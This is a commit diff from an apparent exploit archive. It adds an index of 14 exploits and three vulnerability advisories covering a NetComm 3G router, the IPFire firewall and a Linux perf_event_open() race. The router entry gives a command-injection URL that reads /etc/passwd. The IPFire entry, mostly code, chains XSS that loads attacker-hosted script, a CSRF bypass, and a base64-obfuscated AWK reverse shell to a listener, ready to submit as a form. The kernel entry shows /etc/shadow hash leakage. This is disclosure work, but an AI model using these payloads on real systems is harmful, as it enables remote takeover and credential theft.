DB: 2016-05-05
14 new exploits Alibaba Clone B2B Script - Admin Authentication Bypass CMS Made Simple < 2.1.3 & < 1.12.1 - Web Server Cache Poisoning Acunetix WP Security Plugin 3.0.3 - XSS NetCommWireless HSPA 3G10WVE Wireless Router – Multiple Vulnerabilities TRN Threaded USENET News Reader 3.6-23 - Local Stack-Based Overflow IPFire < 2.19 Core Update 101 - Remote Command Execution PHP Imagick 3.3.0 - disable_functions Bypass ImageMagick < 6.9.3-9 - Multiple Vulnerabilities OpenSSL Padding Oracle in AES-NI CBC MAC Check Zabbix Agent 3.0.1 - mysql.size Shell Command Injection McAfee LiveSafe 14.0 - Relocations Processing Memory Corruption Linux (Ubuntu 14.04.3) - perf_event_open() Can Race with execve() (/etc/shadow) Linux Kernel 4.4.x (Ubuntu 16.04) - Use-After-Free via double-fdput() in bpf(BPF_PROG_LOAD) Error Path Local Root Exploit Linux (Ubuntu 16.04) - Reference Count Overflow Using BPF Maps
This commit is contained in:
parent
28f57d0dba
commit
5a82bad23d
15 changed files with 1362 additions and 0 deletions
14
files.csv
14
files.csv
|
@ -35969,3 +35969,17 @@ id,file,description,date,author,platform,type,port
|
|||
39755,platforms/windows/remote/39755.py,"Acunetix WVS 10 - Remote Command Execution (System)",2016-05-02,"Daniele Linguaglossa",windows,remote,0
|
||||
39756,platforms/linux/remote/39756.rb,"Apache Struts Dynamic Method Invocation Remote Code Execution",2016-05-02,metasploit,linux,remote,8080
|
||||
39757,platforms/android/local/39757.txt,"QSEE - PRDiag* Commands Privilege Escalation Exploit",2016-05-02,laginimaineb,android,local,0
|
||||
39759,platforms/php/webapps/39759.txt,"Alibaba Clone B2B Script - Admin Authentication Bypass",2016-05-04,"Meisam Monsef",php,webapps,80
|
||||
39760,platforms/php/webapps/39760.txt,"CMS Made Simple < 2.1.3 & < 1.12.1 - Web Server Cache Poisoning",2016-05-04,"Mickaël Walter",php,webapps,80
|
||||
39761,platforms/php/webapps/39761.txt,"Acunetix WP Security Plugin 3.0.3 - XSS",2016-05-04,"Johto Robbie",php,webapps,80
|
||||
39762,platforms/cgi/webapps/39762.txt,"NetCommWireless HSPA 3G10WVE Wireless Router – Multiple Vulnerabilities",2016-05-04,"Bhadresh Patel",cgi,webapps,80
|
||||
39764,platforms/linux/local/39764.py,"TRN Threaded USENET News Reader 3.6-23 - Local Stack-Based Overflow",2016-05-04,"Juan Sacco",linux,local,0
|
||||
39765,platforms/cgi/webapps/39765.txt,"IPFire < 2.19 Core Update 101 - Remote Command Execution",2016-05-04,"Yann CAM",cgi,webapps,0
|
||||
39766,platforms/php/webapps/39766.php,"PHP Imagick 3.3.0 - disable_functions Bypass",2016-05-04,RicterZ,php,webapps,0
|
||||
39767,platforms/multiple/dos/39767.txt,"ImageMagick < 6.9.3-9 - Multiple Vulnerabilities",2016-05-04,"Nikolay Ermishkin",multiple,dos,0
|
||||
39768,platforms/multiple/dos/39768.txt,"OpenSSL Padding Oracle in AES-NI CBC MAC Check",2016-05-04,"Juraj Somorovsky",multiple,dos,0
|
||||
39769,platforms/linux/local/39769.txt,"Zabbix Agent 3.0.1 - mysql.size Shell Command Injection",2016-05-04,"Timo Lindfors",linux,local,0
|
||||
39770,platforms/windows/dos/39770.txt,"McAfee LiveSafe 14.0 - Relocations Processing Memory Corruption",2016-05-04,"Google Security Research",windows,dos,0
|
||||
39771,platforms/linux/dos/39771.txt,"Linux (Ubuntu 14.04.3) - perf_event_open() Can Race with execve() (/etc/shadow)",2016-05-04,"Google Security Research",linux,dos,0
|
||||
39772,platforms/linux/local/39772.txt,"Linux Kernel 4.4.x (Ubuntu 16.04) - Use-After-Free via double-fdput() in bpf(BPF_PROG_LOAD) Error Path Local Root Exploit",2016-05-04,"Google Security Research",linux,local,0
|
||||
39773,platforms/linux/dos/39773.txt,"Linux (Ubuntu 16.04) - Reference Count Overflow Using BPF Maps",2016-05-04,"Google Security Research",linux,dos,0
|
||||
|
|
Can't render this file because it is too large.
|
129
platforms/cgi/webapps/39762.txt
Executable file
129
platforms/cgi/webapps/39762.txt
Executable file
|
@ -0,0 +1,129 @@
|
|||
Title:
|
||||
====
|
||||
|
||||
NetCommWireless HSPA 3G10WVE Wireless Router – Multiple vulnerabilities
|
||||
|
||||
Credit:
|
||||
======
|
||||
|
||||
Name: Bhadresh Patel
|
||||
Company/affiliation: HelpAG
|
||||
Website: www.helpag.com
|
||||
|
||||
CVE:
|
||||
=====
|
||||
|
||||
CVE-2015-6023, CVE-2016-6024
|
||||
|
||||
Date:
|
||||
====
|
||||
|
||||
03-05-2016 (dd/mm/yyyy)
|
||||
|
||||
Vendor:
|
||||
======
|
||||
|
||||
NetComm Wireless is a leading developer and supplier of high performance
|
||||
communication devices that connect businesses and people to the internet.
|
||||
|
||||
Products and services:
|
||||
Wireless 3G/4G broadband devices
|
||||
Custom engineered technologies
|
||||
Broadband communication devices
|
||||
|
||||
Customers:
|
||||
Telecommunications carriers
|
||||
Internet Service Providers
|
||||
System Integrators
|
||||
Channel partners
|
||||
Enterprise customers
|
||||
|
||||
Product:
|
||||
=======
|
||||
|
||||
HSPA 3G10WVE is a wireless router
|
||||
|
||||
It integrates a wireless LAN, HSPA module and voice gateway into one
|
||||
stylish unit. Insert an active HSPA SIM Card into the slot on the rear
|
||||
panel & get instant access to 3G internet connection. Etisalat HSPA
|
||||
3G10WVE wireless router incorporates a WLAN 802.11b/g access point, two
|
||||
Ethernet 10/100Mbps ports for voice & fax. Featuring voice port which
|
||||
means that one can stay connected using the internet & phone. If one
|
||||
need a flexible internet connection for his business or at home; this is
|
||||
the perfect solution.
|
||||
|
||||
Customer Product link: http://www.etisalat.ae/nrd/en/generic/3.5g_router.jsp
|
||||
|
||||
|
||||
Abstract:
|
||||
=======
|
||||
|
||||
Multiple vulnerabilities in the HSPA 3G10WVE wireless router enable an
|
||||
anonymous unauthorized attacker to 1) bypass authentication and gain
|
||||
unauthorized access of router's network troubleshooting page (ping.cgi)
|
||||
and 2) exploit a command injection vulnerability on ping.cgi, which
|
||||
could result in a complete system/network compromise.
|
||||
|
||||
Report-Timeline:
|
||||
============
|
||||
03-09-2015: Vendor notification
|
||||
08-09-2015: Vendor Response/Feedback
|
||||
02-05-2016: Vendor Fix/Patch
|
||||
03-05-2016: Public Disclosure
|
||||
|
||||
Affected Software Version:
|
||||
=============
|
||||
|
||||
3G10WVE-L101-S306ETS-C01_R03
|
||||
|
||||
|
||||
Exploitation-Technique:
|
||||
===================
|
||||
|
||||
Remote
|
||||
|
||||
|
||||
Severity Rating (CVSS):
|
||||
===================
|
||||
|
||||
10.0 (Critical) (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
|
||||
|
||||
|
||||
Details:
|
||||
=======
|
||||
|
||||
Below listed vulnerabilities enable an anonymous unauthorized attacker
|
||||
to gain access of network troubleshooting page (ping.cgi) on wireless
|
||||
router and inject commands to compromise full system/network.
|
||||
|
||||
1) Bypass authentication and gain unauthorized access vulnerability -
|
||||
CVE-2015-6023
|
||||
2) Command injection vulnerability - CVE-2016-6024
|
||||
|
||||
Vulnerable module/page/application: ping.cgi
|
||||
|
||||
Vulnerable parameter: DIA_IPADDRESS
|
||||
|
||||
Proof Of Concept:
|
||||
================
|
||||
|
||||
PoC URL:
|
||||
http(s)://<victim_IP>/ping.cgi?DIA_IPADDRESS=4.2.2.2;cat%20/etc/passwd
|
||||
|
||||
PoC Video: https://www.youtube.com/watch?v=FS43MRG7RDk
|
||||
|
||||
Patched/Fixed Firmware and notes:
|
||||
==========================
|
||||
|
||||
ftp://files.planetnetcomm.com/3G10WVE/3G10WVE-L101-S306ETS-C01_R05.bin
|
||||
|
||||
NOTE: Verified only by Vendor
|
||||
|
||||
|
||||
|
||||
Credits:
|
||||
=======
|
||||
|
||||
Bhadresh Patel
|
||||
Senior Security Analyst
|
||||
HelpAG (www.helpag.com)
|
252
platforms/cgi/webapps/39765.txt
Executable file
252
platforms/cgi/webapps/39765.txt
Executable file
|
@ -0,0 +1,252 @@
|
|||
######################################################################################
|
||||
# Exploit Title: IPFire < 2.19 Update Core 101 XSS to CSRF to Remote Command Execution
|
||||
# Date: 04/05/2016
|
||||
# Author: Yann CAM @ Synetis - ASafety
|
||||
# Vendor or Software Link: www.ipfire.org
|
||||
# Version: lesser-than 2.19 Core Update 101
|
||||
# Category: Remote Command Execution / XSS
|
||||
# Google dork:
|
||||
# Tested on: IPFire distribution
|
||||
######################################################################################
|
||||
|
||||
|
||||
IPFire firewall/router distribution description :
|
||||
======================================================================
|
||||
|
||||
IPFire is a free Linux distribution which acts as a router and firewall in the first instance. It can be maintained via
|
||||
a web interface. The distribution furthermore offers selected server daemons and can easily be expanded to a SOHO server.
|
||||
|
||||
IPFire is based on Linux From Scratch and is, like the Endian Firewall, originally a fork from IPCop. Since Version 2,
|
||||
only IPCop's web interface is used.
|
||||
|
||||
|
||||
Vulnerability description :
|
||||
======================================================================
|
||||
|
||||
As others linux-router based firewall that I've tested and analyzed, IPFire (based on IPCop) have some vulnerabilities.
|
||||
Through an XSS, it's possible to bypass CSRF-referer checking and exploit a Remote Command Execution to gain a full reverse-shell.
|
||||
The method detailed below is very similar to the one presented in my previous article for IPCop some year ago.
|
||||
|
||||
IPCop 2.1.4 Remote Command Execution : https://www.asafety.fr/vuln-exploit-poc/xss-rce-ipcop-2-1-4-remote-command-execution/
|
||||
|
||||
|
||||
Proof of Concept 1 :
|
||||
======================================================================
|
||||
|
||||
A non-persistent XSS in GET param is available in the ipinfo.cgi. The injection can be URLencoded with certain browsers
|
||||
or blocked with Anti-XSS engine.
|
||||
This XSS works on IE and affect IPFire version < 2.19 Core Update 101.
|
||||
|
||||
File /srv/web/ipfire/cgi-bin/ipinfo.cgi line 87 :
|
||||
&Header::openbox('100%', 'left', $addr . ' (' . $hostname . ') : '.$whoisname);
|
||||
|
||||
PoC:
|
||||
https://<IPFire>:444/cgi-bin/ipinfo.cgi?<script>alert(/RXSS-Yann_CAM_-_Security_Consultant_@ASafety_-_SYNETIS/)</script>
|
||||
|
||||
|
||||
Proof of Concept 2 :
|
||||
======================================================================
|
||||
|
||||
CSRF exploit bypass from previous XSS.
|
||||
IPFire is protected against CSRF attack with a referer checking on all page.
|
||||
It's possible to bypass this protection with the previous XSS detailed.
|
||||
To do this, load a third party JS script with the XSS, and make Ajax request over IPFire context (so with the right referer).
|
||||
This XSS works on IE and affect IPFire version < 2.19 Core Update 101.
|
||||
|
||||
File /srv/web/ipfire/cgi-bin/ipinfo.cgi line 87 :
|
||||
&Header::openbox('100%', 'left', $addr . ' (' . $hostname . ') : '.$whoisname);
|
||||
|
||||
PoC :
|
||||
|
||||
Host a third party JS script on a web server accessible from IPFire. In this JS script, load JQuery dynamically and perform any AJAX request to an IPFire targeted page.
|
||||
All AJAX request bypass the CSRF protection.
|
||||
|
||||
* Third party JS script, host in http://<PENTESTER_WEBSITE>/x.js:
|
||||
|
||||
var headx=document.getElementsByTagName('head')[0];
|
||||
var jq= document.createElement('script');
|
||||
jq.type= 'text/javascript';
|
||||
jq.src= 'http://code.jquery.com/jquery-latest.min.js';
|
||||
headx.appendChild(jq);
|
||||
function loadX(){ // AJAX CSRF bypass referer checking !
|
||||
$.ajax({
|
||||
type: 'POST',
|
||||
url: "https://<IPFire_IP>:444/cgi-bin/<TARGETED_PAGE>",
|
||||
contentType: 'application/x-www-form-urlencoded;charset=utf-8',
|
||||
dataType: 'text',
|
||||
data: '<YOUR_DATA>'
|
||||
}); // payload of your choice
|
||||
}
|
||||
setTimeout("loadX()",2000);
|
||||
|
||||
* XSS to load dynamically this third party script :
|
||||
|
||||
var head=document.getElementsByTagName('head')[0];var script= document.createElement('script');script.type= 'text/javascript';script.src= 'http://<PENTESTER_WEBSITE>/x.js';head.appendChild(script);
|
||||
|
||||
* Escape this string with escape() Javascript method :
|
||||
|
||||
%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09
|
||||
|
||||
* Make the final URL with XSS in GET param that load dynamically the third party script (IE) :
|
||||
|
||||
https://<IPFire_IP>:8443/cgi-bin/ipinfo.cgi?<script>eval(unescape("%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09"))</script>
|
||||
|
||||
|
||||
Proof of Concept 3 :
|
||||
======================================================================
|
||||
|
||||
Remote Command Execution in the proxy.cgi file. This file is protected from CSRF execution.
|
||||
Affected version < 2.19 Core Update 101.
|
||||
|
||||
File /srv/web/ipfire/cgi-bin/proxy.cgi line 4137 :
|
||||
system("/usr/sbin/htpasswd -b $userdb $str_user $str_pass");
|
||||
|
||||
The $str_pass isn't sanitized before execution in command line. It's possible to change the "NCSA_PASS" and "NCSA_PASS_CONFIRM" post data with arbitrary data.
|
||||
|
||||
|
||||
|
||||
So the RCE can be exploited with this PoC (if the Referer is defined to IPFire URL) :
|
||||
|
||||
<html>
|
||||
<body>
|
||||
<form name='x' action='https://<IPFire_IP>:444/cgi-bin/proxy.cgi' method='post'>
|
||||
<input type='hidden' name='NCSA_PASS' value='||touch /tmp/x;#' />
|
||||
<input type='hidden' name='NCSA_PASS_CONFIRM' value='||touch /tmp/x;#' />
|
||||
<input type='hidden' name='NCSA_USERNAME' value='yanncam' />
|
||||
<input type='hidden' name='ACTION' value='Ajouter' />
|
||||
</form>
|
||||
<script>document.forms['x'].submit();</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
Note that the ACTION POST param depend on the IPFire language defined.
|
||||
|
||||
|
||||
Proof of Concept 4 :
|
||||
======================================================================
|
||||
|
||||
Finally, with these three previous PoC, it's possible to combine all the mechanisms to gain a full reverse-shell on IPFire.
|
||||
IPFire does not have netcat nor telnet, socat, python, ruby, php etc ...
|
||||
The only way to make a reverse-shell is to use Perl or AWK technics. In this PoC, it's the AWK technic that is used :
|
||||
(From ASafety Reverse-shell cheat-sheet : http://www.asafety.fr/vuln-exploit-poc/pentesting-etablir-un-reverse-shell-en-une-ligne/)
|
||||
|
||||
* The reverse-shell one-line with AWK is :
|
||||
|
||||
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
||||
|
||||
* To bypass IPFire filter, you need to encode this command in base64 (after modify <IP> and <PORT>) :
|
||||
|
||||
YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsgfX0nIC9kZXYvbnVsbA==
|
||||
|
||||
* Place a \n at each bloc of 64 chars in the base64 version :
|
||||
|
||||
YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==
|
||||
|
||||
* This payload can be echo'ed and decoded with openssl, on the fly, into IPFire :
|
||||
|
||||
echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d
|
||||
|
||||
* To execute this payload, add backticks and eval call :
|
||||
|
||||
eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`
|
||||
|
||||
* Your payload is ready to be used into POST param in proxy.cgi, like the previous PoC :
|
||||
|
||||
||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`;#
|
||||
|
||||
* Full PoC (IPFire < 2.19 Core Update 101)
|
||||
(if the referer is defined to IPFire URL, and a netcat is listening # nc -l -vv -p 1337) :
|
||||
|
||||
<html>
|
||||
<body>
|
||||
<form name='x' action='https://<IPFire_IP>:444/cgi-bin/proxy.cgi' method='post'>
|
||||
<input type='hidden' name='NCSA_PASS' value='||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjAuMi8xMzM3Ijsg\nd2hpbGUoNDIpIHsgZG97IHByaW50ZiAic2hlbGw+IiB8JiBzOyBzIHwmIGdldGxp\nbmUgYzsgaWYoYyl7IHdoaWxlICgoYyB8JiBnZXRsaW5lKSA+IDApIHByaW50ICQw\nIHwmIHM7IGNsb3NlKGMpOyB9IH0gd2hpbGUoYyAhPSAiZXhpdCIpIGNsb3NlKHMp\nOyB9fScgL2Rldi9udWxs" | openssl enc -a -d`;#' />
|
||||
<input type='hidden' name='NCSA_PASS_CONFIRM' value='||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjAuMi8xMzM3Ijsg\nd2hpbGUoNDIpIHsgZG97IHByaW50ZiAic2hlbGw+IiB8JiBzOyBzIHwmIGdldGxp\nbmUgYzsgaWYoYyl7IHdoaWxlICgoYyB8JiBnZXRsaW5lKSA+IDApIHByaW50ICQw\nIHwmIHM7IGNsb3NlKGMpOyB9IH0gd2hpbGUoYyAhPSAiZXhpdCIpIGNsb3NlKHMp\nOyB9fScgL2Rldi9udWxs" | openssl enc -a -d`;#' />
|
||||
<input type='hidden' name='NCSA_USERNAME' value='yanncam' />
|
||||
<input type='hidden' name='ACTION' value='Ajouter' />
|
||||
</form>
|
||||
<script>document.forms['x'].submit();</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
Note that none <IP>/<Port> are defined in the previous payload, you need to reproduce these different steps.
|
||||
|
||||
* With the XSS method to bypass CSRF Referer checking, the third party JS script can be :
|
||||
|
||||
var headx=document.getElementsByTagName('head')[0];
|
||||
var jq= document.createElement('script');
|
||||
jq.type= 'text/javascript';
|
||||
jq.src= 'http://code.jquery.com/jquery-latest.min.js';
|
||||
headx.appendChild(jq);
|
||||
function loadX(){ // AJAX CSRF bypass referer checking !
|
||||
$.ajax({
|
||||
type: 'POST',
|
||||
url: "https://<IPFire_IP>:444/cgi-bin/proxy.cgi",
|
||||
contentType: 'application/x-www-form-urlencoded;charset=utf-8',
|
||||
dataType: 'text',
|
||||
data: 'NCSA_USERNAME=yanncam&ACTION=Ajouter&NCSA_PASS=||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjEuMzIvMTMzNyI7\nIHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRs\naW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAk\nMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShz\nKTsgfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`;#&NCSA_PASS_CONFIRM=||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjEuMzIvMTMzNyI7\nIHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRs\naW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAk\nMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShz\nKTsgfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`;#'
|
||||
});
|
||||
}
|
||||
setTimeout("loadX()",2000);
|
||||
|
||||
* A demonstration video has been realised as PoC here (IPFire < 2.19 Core Update 101) : https://www.youtube.com/watch?v=rBd21aXU83E
|
||||
|
||||
|
||||
Solution:
|
||||
======================================================================
|
||||
- Upgrade to IPFire 2.19 Core Update 101
|
||||
|
||||
I just want to thank Michael TREMER for his availability, his kindness, his correction speed and quality of the IPFire project I am a regular user.
|
||||
|
||||
|
||||
Report timeline :
|
||||
======================================================================
|
||||
|
||||
2016-04-03 : Vulnerabilities discovered in the latest IPFire version
|
||||
2016-04-04 : IPFire team alerted with details and PoC through forum and bugtracker
|
||||
2016-04-05 : Several exchanges between Michael TREMER and me on the BugTracker to fix these vulnerabilities
|
||||
2016-04-05 : CVE assigment request sent by IPFire team
|
||||
2016-04-06 : CVE ID denied without any reason, emailed back
|
||||
2016-04-08 : CVE ID denied again without any reason
|
||||
2016-04-27 : IPFire 2.19 Core Update 101 available for testing
|
||||
2016-05-02 : IPFire 2.19 Core Update 101 released
|
||||
|
||||
|
||||
Additional resources :
|
||||
======================================================================
|
||||
|
||||
- www.ipfire.org
|
||||
- www.ipfire.org/news/ipfire-2-19-core-update-101-released
|
||||
- planet.ipfire.org/post/ipfire-2-19-core-update-101-is-available-for-testing
|
||||
- www.ubuntufree.com/ipfire-2-19-core-update-101-patches-cross-site-scripting-vulnerability-in-web-ui/
|
||||
- news.softpedia.com/news/ipfire-2-19-core-update-101-patches-cross-site-scripting-vulnerability-in-web-ui-503608.shtml
|
||||
- www.openwall.com/lists/oss-security/2016/04/05/5
|
||||
- seclists.org/oss-sec/2016/q2/15
|
||||
- www.synetis.com
|
||||
- www.asafety.fr
|
||||
- www.youtube.com/watch?v=rBd21aXU83E
|
||||
|
||||
|
||||
Credits :
|
||||
======================================================================
|
||||
|
||||
88888888
|
||||
88 888 88 88
|
||||
888 88 88
|
||||
788 Z88 88 88.888888 8888888 888888 88 8888888.
|
||||
888888. 88 88 888 Z88 88 88 88 88 88 88
|
||||
8888888 88 88 88 88 88 88 88 88 888
|
||||
888 88 88 88 88 88888888888 88 88 888888
|
||||
88 88 88 8. 88 88 88 88 88 888
|
||||
888 ,88 8I88 88 88 88 88 88 88 .88 .88
|
||||
?8888888888. 888 88 88 88888888 8888 88 =88888888
|
||||
888. 88
|
||||
88 www.synetis.com
|
||||
8888 Consulting firm in management and information security
|
||||
|
||||
Yann CAM - Security Consultant @ Synetis | ASafety
|
||||
|
||||
|
||||
--
|
||||
SYNETIS | ASafety
|
||||
CONTACT: www.synetis.com | www.asafety.fr
|
95
platforms/linux/dos/39771.txt
Executable file
95
platforms/linux/dos/39771.txt
Executable file
|
@ -0,0 +1,95 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=807
|
||||
|
||||
A race condition in perf_event_open() allows local attackers to leak sensitive data from setuid programs.
|
||||
|
||||
perf_event_open() associates with a task as follows:
|
||||
|
||||
SYSCALL_DEFINE5(perf_event_open,
|
||||
struct perf_event_attr __user *, attr_uptr,
|
||||
pid_t, pid, int, cpu, int, group_fd, unsigned long, flags)
|
||||
{
|
||||
[...]
|
||||
struct task_struct *task = NULL;
|
||||
[...]
|
||||
if (pid != -1 && !(flags & PERF_FLAG_PID_CGROUP)) {
|
||||
task = find_lively_task_by_vpid(pid);
|
||||
if (IS_ERR(task)) {
|
||||
err = PTR_ERR(task);
|
||||
goto err_group_fd;
|
||||
}
|
||||
}
|
||||
[...]
|
||||
event = perf_event_alloc(&attr, cpu, task, group_leader, NULL,
|
||||
NULL, NULL, cgroup_fd);
|
||||
[...]
|
||||
}
|
||||
|
||||
In find_lively_task_by_vpid():
|
||||
|
||||
static struct task_struct *
|
||||
find_lively_task_by_vpid(pid_t vpid)
|
||||
{
|
||||
struct task_struct *task;
|
||||
int err;
|
||||
|
||||
rcu_read_lock();
|
||||
if (!vpid)
|
||||
task = current;
|
||||
else
|
||||
task = find_task_by_vpid(vpid);
|
||||
if (task)
|
||||
get_task_struct(task);
|
||||
rcu_read_unlock();
|
||||
|
||||
if (!task)
|
||||
return ERR_PTR(-ESRCH);
|
||||
|
||||
/* Reuse ptrace permission checks for now. */
|
||||
err = -EACCES;
|
||||
if (!ptrace_may_access(task, PTRACE_MODE_READ_REALCREDS))
|
||||
goto errout;
|
||||
|
||||
return task;
|
||||
errout:
|
||||
[...]
|
||||
}
|
||||
|
||||
Because no relevant locks (in particular the cred_guard_mutex) are held during the ptrace_may_access() call, it is possible for the specified target task to perform an execve() syscall with setuid execution before perf_event_alloc() actually attaches to it, allowing an attacker to bypass the ptrace_may_access() check and the perf_event_exit_task(current) call that is performed in install_exec_creds() during privileged execve() calls.
|
||||
|
||||
The ability to observe the execution of setuid executables using performance event monitoring can be used to leak interesting data by setting up sampling breakpoint events (PERF_TYPE_BREAKPOINT) that report userspace register contents (PERF_SAMPLE_REGS_USER) to the tracer. For example, __memcpy_sse2() in Ubuntu's eglibc-2.19 will copy small amounts of data (below 1024 bytes) by moving them through the registers RAX, R8, R9 and R10, whose contents are exposed by PERF_SAMPLE_REGS_USER. An attacker who can bypass userland ASLR (e.g. by bruteforcing the ASLR base address of the heap, which seems to only have ~16 bits of randomness on x86-64) can e.g. use this to dump the contents of /etc/shadow through /bin/su.
|
||||
|
||||
(The setting of the kernel.perf_event_paranoid sysctl has no impact on the ability of an attacker to leak secrets from userland processes using this issue.)
|
||||
|
||||
simple_poc.tar contains a simple PoC for 64bit that only demonstrates the basic issue by leaking the result of a getpid() call from a setuid executable:
|
||||
|
||||
|
||||
$ ./test
|
||||
too early
|
||||
$ ./test
|
||||
data_head is at 18
|
||||
RAX: 9559
|
||||
|
||||
(If this seems to not be working, try running "while true; do ./test; done | grep -v --line-buffered 'too early'" loops in multiple terminal windows.)
|
||||
|
||||
|
||||
shadow_poc.tar contains a poc which leaks 32 bytes of the user's entry in /etc/shadow on a Ubuntu 14.04.3 desktop VM if ASLR has been disabled (by writing a zero to /proc/sys/kernel/randomize_va_space as root)
|
||||
|
||||
$ ./test
|
||||
data_head is at 1080
|
||||
got data: hi-autoipd:*:16848:0:99999:7:::
|
||||
|
||||
got data: -dispatcher:!:16848:0:99999:7:::
|
||||
got data: $6$78m54P0T$WY0A/Qob/Ith0q2MzmdS
|
||||
$ sudo grep user /etc/shadow
|
||||
user:$6$78m54P0T$WY0A/Qob/Ith0q2MzmdSSj3jmNG117JSRJwD7qvGEUdimyTjgFpJkTNf3kyy4O31cJSBDo00b2JIQTiHhq.hu.:16911:0:99999:7:::
|
||||
|
||||
(If it doesn't immediately work, it might need to be re-run a few times.)
|
||||
|
||||
The current PoC code isn't very good at hitting the race condition, and with ASLR enabled, dumping hashes from shadow would likely take days. With a more optimized attack, it might be possible to dump password hashes in significantly less time.
|
||||
|
||||
